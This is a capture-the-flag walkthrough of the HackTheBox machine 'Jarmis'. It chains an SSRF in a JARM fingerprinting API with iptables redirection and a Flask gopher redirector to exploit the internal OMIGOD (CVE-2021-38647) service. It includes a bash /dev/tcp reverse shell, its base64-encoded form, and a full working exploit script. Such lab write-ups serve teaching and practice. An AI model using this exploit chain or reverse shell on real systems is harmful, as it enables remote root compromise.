JARMIS – HackTheBox

Written by ***blackgrease***

Jarmis is a really interesting Hard difficult rated machine on HackTheBox. Its interesting as it requires a lot of research and knowledge specifically with exploiting SSRF. Lets begin.

OUR ENVIRONMENT

With our IP address loaded, lets run a Port Scan on the machine to know what we are dealing with.

```
$sudo nmap -Pn -n -v -A -oA Jarmis_All_Ports $ip_address -p- -T4
```

The scan shows that the open ports are:

```
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: C92B85A5B907C70211F4EC25E29A8C4A
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Jarmis
```

Navigating to the web service running on Port 80 (with a proxy intercepting the traffic), we see a Jarmis Search Engine. It seems to be fetching different kinds of data based on id, fingerprint and an endpoint. Research what JARM we discover its

"A TLS (protocol that provides authentication/ privacy/ data integrity between 2 communicating parties) Server Fingerprinting application that is used to identify malicious serves. JARM It sends packets like series of questions to a server and is looking for certain responses that when compiled together (62 char long set) can tell if the fingerprint belongs to a malicious technology or a general public usage technology."

Okay, it seems to be a tool that can be used by the Blue Team. Enumerating the database using the ID, there are 222 fingerprints stored. Some are detected as safe but some are detected as malicious such as

- Ncat
- Metasploit
- Cobalt-Strike

to name a few.

Lets store this information for later.

Looking at the traffic, the web page is connected to an API. The APIs documentation is loaded along with the web application and is present in the traffic under the /docs folder.

The API Documentation outlines the routes that the API utilizes. One particular route stands out.

/api/v2/fetch?endpoint=

According to the documentation, this route is used to query an endpoint to retrieve its JARM and grab metadata if its detected as malicious. In other words, if during the fingerprinting process, the endpoint/server is detected as malicious, then an additional request is made to fetch the metadata. This seems interesting and worthy of noting for later.

WHAT CAN WE DO?

Lets start testing for SSRF. JARM mentioned using TLS which is basically what gives the S in HTTPS. A normal nc listener will not work as nc is not compatible with HTTPS connections. We need to use the ncat version of the command. Set up a listener using

```
ncat --ssl -lnvp 443
```

--ssl : makes the listener work with TLS
-l : listen
-n : no name resolution
-v : verbose
443 : the port to use. HTTPS standard port is 443.
*the command will need sudo as the listening port is under 1024.

(If you have familiarity with Wireshark, then it can be used to monitor the traffic)

Sending our tun0 IP address as the endpoint, makes a connection be received on the netcat listener. The connection immediately disconnects. The response on the web-page is that *Ncat* has been detected. In our research of JARM fingerprinting, 10 fingerprinting connections are made. We only received one visible which makes another 9 pending. We can prolong the life-cycle of the netcat listener by adding the -k flag.

```
ncat --ssl -lnvkp 443
```

This results in 10 connections being received (may have to run a couple of times to connection issues). However when this result is done, Our listener is not detected as malicious. Maybe because normal web servers are configured to receive many connections and therefore this behavior is standard??

The description from the documentation comes to mind. *"Query an endpoint to retrieve its JARM and grab metadata if malicious."* Our netcat is being detected as malicious which means there is an additional request that is being made to fetch meta-data. Our listener is closed therefore we do not see this connection. We need a way to see this 11th HTTP request made to fetch metadata.

Enter Iptables...(or Wireshark depending on your skillset)

In this case, iptables functionality will be used as a load-balancer of some sorts. After the 10 request have been received on the machine, the 11th will be redirected to another netcat listener so that we can see this request (if it exists)

```
$sudo iptables -F -t nat
```

-F : flush
-t nat : target the NAT table
*can use over again to clear the entries after the machine is complete

```
$sudo iptables -I PREROUTING -t nat -p tcp --dport 443 -m statistic --mode nth --every 11 --packet 10 -j REDIRECT --to-port 8443
```

- I : Insert into chain
-t : the table to manipulate
-p : use the tcp protocol
--dport 443 : the destination port, port where the packet is going to
-m statistic
--mode nth
--every 11
--packet 10 : receive 10 packets
-j REDIRECT: what action to take. REDIRECT in this case
--to-port : redirect to port 8443

Create a second netcat listener

```
ncat --ssl -nlvpk 8443
```

This works and we get another connection. This for the web route / . The user-agent used is cURL.

Alright... we know that we can get a HTTP request successfully out of the machine and we have an idea of the requests that it can make. But what can we do with it?

Lets point our SSRF internally instead of externally.

BEHIND ENEMY LINES

Payloads for Internal scanning using localhost along with different variations of it. Either in octal, decimal, CIDR and others. This part requires noticing subtle differences. This isn't a full read SSRF but rather Semi-blind SSRF which relies on getting differences in status codes, response times and response length.

When the payload '*localhost* is used' the endpoint field is what denotes if a port is open or closed.

- Open ports : endpoint gets the IP address and Port
- Closed Ports : endpoint returns null

Running an internal port scan, the ports 22, 5985, 5986 are found open.

SSH is not new as we discovered that externally, but the 5985 and 5986 represent the Open Management Interface in Azure Linux Virtual Machines. There was a Unauthenticated RCE vulnerability - OMIGOD, CVE-2021-38647 - discovered in 2021. Upon successful exploitation, access is supposed to be granted as the root user.

If this was exposed externally, this would be straight forward to exploit, there is even an PoC on Github : https://github.com/horizon3ai/CVE-2021-38647 But as this is running internally, we need to be creative.

What do we know? We can get a HTTP request out of the server. We have a vulnerable service running internally on the machine. If we can redirect the 11th request from JARM back into the server, we can exploit this vulnerability. It is best to first test this on our infrastructure before deploying it against the target.

SETTING THE CHARGES

Testing :

- 1. Get a netcat fingerprinted as malicious causing an 11th request. Redirect the HTTP metadata to a running web server which redirects the request to a listening netcat on our machine

Process: JARM > Netcat listener (1 connection only) > iptables redirect 11th to listening Flask server on port 8443 > Flask server redirects to another netcat listener on my machine

```
from flask import Flask,redirect #importing Flask along with the redirect library
from urllib.parse import quote #a module to form a URL from different combinations. Quote is used to URL encode a string
app = Flask(__name__)

@app.route('/')
def root():
        return redirect('http://$my-ip', code=301

if __name__ == "__manin__":
        app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) #ssl_context allows the server to work with TLS . Host makes it listen everywhere and not only on the localhost .
```

Run using: $python -m flask –app $program_name -h 0.0.0.0 -p 8443

*in case the configuration in the code does not take effect

Remember to have 2 ncat listeners

-2. Test if gopher is possible to exploit with as it allows a POST body to be sent in a URL.

Only editing the redirect function:

```
return redirect(f'gopher://$ip-address:80/_test', code=301

#note when sending a request that has a body, 2 bytes need to be added to the
#Content Length as par the HTTP request specification.
```

Have a netcat listener running on Port 80

```
$netcat –ssl -lnvp 80
```

-3 Integrate the PoC along with the modified exploit.

*In order to get a better idea of how to use Flask, check out

Link: https://flask.palletsprojects.com/en/2.2.x/installation/

Link: https://pythongeeks.org/build-flask-application/

As a recap :

1. Have a listener on port 443
2. Iptables will redirect the 11th request to port 8443 where the Flask web server is listening
3. The Flask Web server will redirect the request to the internally running service where a command will be executed.

Command Testing:

1. A ping request is sent to the server via SSRF. Tcpdump needs to be running in order to detect this.

```
$tcpdump -i tun0 icmp
```

-i : interface to listen on

icmp : the protocol to show traffic for

2. Once a successful ping request has been seen, the command sent in the redirect by the web flask can be used to get a reverse shell back. The reverse shell code is base64 encoded in order to avoid sending issues.

```
$echo “bash -i >& /dev/tcp/$your_ip/4444 0>&1” | base64
```

I have done my best to annotate the web flask code as much as possible for better understanding. The final code that combines everything is below.

If all went well, you should now be ***root***. MACHINE PAWNED!.

Note: If you have a firewall remember to configure it to allow for incoming connections.

```
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)


DATA = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"
xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration"
xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"
xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
  <s:Header>
    <a:To>HTTP://192.168.1.1:5986/wsman/</a:To>
    <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</
w:ResourceURI>
    <a:ReplyTo>
      <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
    </a:ReplyTo>
    <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
    <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
    <a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
    <w:OperationTimeout>PT1M30S</w:OperationTimeout>
    <w:Locale xml:lang="en-us" s:mustUnderstand="false" />
    <p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
    <w:OptionSet s:mustUnderstand="true" />
    <w:SelectorSet>
      <w:Selector Name="__cimnamespace">root/scx</w:Selector>
    </w:SelectorSet>
  </s:Header>
  <s:Body>
    <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
      <p:command>{}</p:command>
      <p:timeout>0</p:timeout>
    </p:ExecuteShellCommand_INPUT>
  </s:Body>
</s:Envelope>"""

REQUEST = """POST /wsman HTTP/1.1\r
Host: localhost:5985\r
User-Agent: curl/7.74.0\r
Content-Length: {length}\r
Content-Type: application/soap+xml;charset=UTF-8\r
\r
{body}"""


@app.route('/')
def root():
    cmd = "ping -c 1 10.10.14.15" #the ping command to run in the first test
    #cmd = "echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0NDQgMD4mMQo='|base64 -d|bash" #RCE code
    data = DATA.format(cmd) #combing the DATA and the cmd variables
    req = REQUEST.format(length=len(data)+2, body=data)  #setting  the content-length header + the 2 bytes at the end of a HTTP request
    enc_req = quote(req, safe='')  #UR; encoding everything for compatability.
    return redirect(f'gopher://127.0.0.1:5985/_{enc_req}', code=301) #enc_req :the POST body


if __name__ == "__main__":
    app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```